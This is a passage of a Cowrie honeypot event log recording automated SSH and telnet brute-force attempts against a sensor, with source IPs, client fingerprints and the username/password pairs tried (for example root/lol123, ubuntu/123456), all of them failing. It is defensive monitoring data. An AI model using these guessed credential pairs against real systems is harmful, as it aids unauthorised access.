t-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:07.468387Z","src_ip":"176.65.132.129","session":"7a2787d33dde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:07.715283Z","src_ip":"176.65.132.129","session":"7a2787d33dde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:08.801159Z","src_ip":"176.65.132.129","session":"7a2787d33dde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35622,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c1b27ea883a","protocol":"ssh","message":"New connection: 176.65.132.129:35622 (159.203.135.109:22) [session: 4c1b27ea883a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:10.870688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:10.875839Z","src_ip":"176.65.132.129","session":"4c1b27ea883a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:10.958655Z","src_ip":"176.65.132.129","session":"4c1b27ea883a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:11.206105Z","src_ip":"176.65.132.129","session":"4c1b27ea883a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:12.291467Z","src_ip":"176.65.132.129","session":"4c1b27ea883a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35632,"dst_ip":"159.203.135.109","dst_port":22,"session":"e720d5ff26f2","protocol":"ssh","message":"New connection: 176.65.132.129:35632 (159.203.135.109:22) [session: e720d5ff26f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:14.139144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:14.144053Z","src_ip":"176.65.132.129","session":"e720d5ff26f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:14.226833Z","src_ip":"176.65.132.129","session":"e720d5ff26f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:14.473501Z","src_ip":"176.65.132.129","session":"e720d5ff26f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0014169216156,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:15.260313Z","src_ip":"152.42.224.71","session":"4ad757e3e450","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:15.558175Z","src_ip":"176.65.132.129","session":"e720d5ff26f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53916,"dst_ip":"159.203.135.109","dst_port":22,"session":"f01bd342fb9a","protocol":"ssh","message":"New connection: 176.65.132.129:53916 (159.203.135.109:22) [session: f01bd342fb9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:17.393022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:17.397582Z","src_ip":"176.65.132.129","session":"f01bd342fb9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:17.479673Z","src_ip":"176.65.132.129","session":"f01bd342fb9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:17.911222Z","src_ip":"176.65.132.129","session":"f01bd342fb9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:18.998051Z","src_ip":"176.65.132.129","session":"f01bd342fb9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00107431411743,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:19.336627Z","src_ip":"152.42.224.71","session":"4a15d67822c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55780,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fd0e3758b65","protocol":"telnet","message":"New connection: 152.42.224.71:55780 (10.17.0.5:23) [session: 8fd0e3758b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:20.160758Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53920,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fd6f9174b2c","protocol":"ssh","message":"New connection: 176.65.132.129:53920 (159.203.135.109:22) [session: 6fd6f9174b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:20.817453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:20.822605Z","src_ip":"176.65.132.129","session":"6fd6f9174b2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:20.904914Z","src_ip":"176.65.132.129","session":"6fd6f9174b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:21.150314Z","src_ip":"176.65.132.129","session":"6fd6f9174b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:22.235913Z","src_ip":"176.65.132.129","session":"6fd6f9174b2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55794,"dst_ip":"10.17.0.5","dst_port":23,"session":"32c7845cc403","protocol":"telnet","message":"New connection: 152.42.224.71:55794 (10.17.0.5:23) [session: 32c7845cc403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:23.272066Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53930,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfdf6ad64d9e","protocol":"ssh","message":"New connection: 176.65.132.129:53930 (159.203.135.109:22) [session: bfdf6ad64d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:24.058854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:24.063451Z","src_ip":"176.65.132.129","session":"bfdf6ad64d9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:24.145968Z","src_ip":"176.65.132.129","session":"bfdf6ad64d9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:24.392577Z","src_ip":"176.65.132.129","session":"bfdf6ad64d9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:25.477573Z","src_ip":"176.65.132.129","session":"bfdf6ad64d9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55804,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d4da68b46e6","protocol":"telnet","message":"New connection: 152.42.224.71:55804 (10.17.0.5:23) [session: 0d4da68b46e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:25.788181Z"}
{"eventid":"cowrie.session.closed","duration":120.00167608261108,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:26.338808Z","src_ip":"152.42.224.71","session":"ee755e62fc41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":35244,"dst_ip":"159.203.135.109","dst_port":22,"session":"60b7336c0f70","protocol":"ssh","message":"New connection: 103.77.175.15:35244 (159.203.135.109:22) [session: 60b7336c0f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:26.389827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:26.394644Z","src_ip":"103.77.175.15","session":"60b7336c0f70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:26.646327Z","src_ip":"103.77.175.15","session":"60b7336c0f70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lol123","message":"login attempt [root/lol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:27.405545Z","src_ip":"103.77.175.15","session":"60b7336c0f70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50020,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebb5c18ffcb0","protocol":"ssh","message":"New connection: 176.65.132.129:50020 (159.203.135.109:22) [session: ebb5c18ffcb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:27.430736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:27.463301Z","src_ip":"176.65.132.129","session":"ebb5c18ffcb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:27.533332Z","src_ip":"176.65.132.129","session":"ebb5c18ffcb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:27.834011Z","src_ip":"176.65.132.129","session":"ebb5c18ffcb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:28.663690Z","src_ip":"103.77.175.15","session":"60b7336c0f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:28.918897Z","src_ip":"176.65.132.129","session":"ebb5c18ffcb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0014295578003,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:29.289056Z","src_ip":"152.42.224.71","session":"3141758121a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50034,"dst_ip":"159.203.135.109","dst_port":22,"session":"da6b36759e2f","protocol":"ssh","message":"New connection: 176.65.132.129:50034 (159.203.135.109:22) [session: da6b36759e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:30.820568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:30.825758Z","src_ip":"176.65.132.129","session":"da6b36759e2f","protocol":"ssh"}
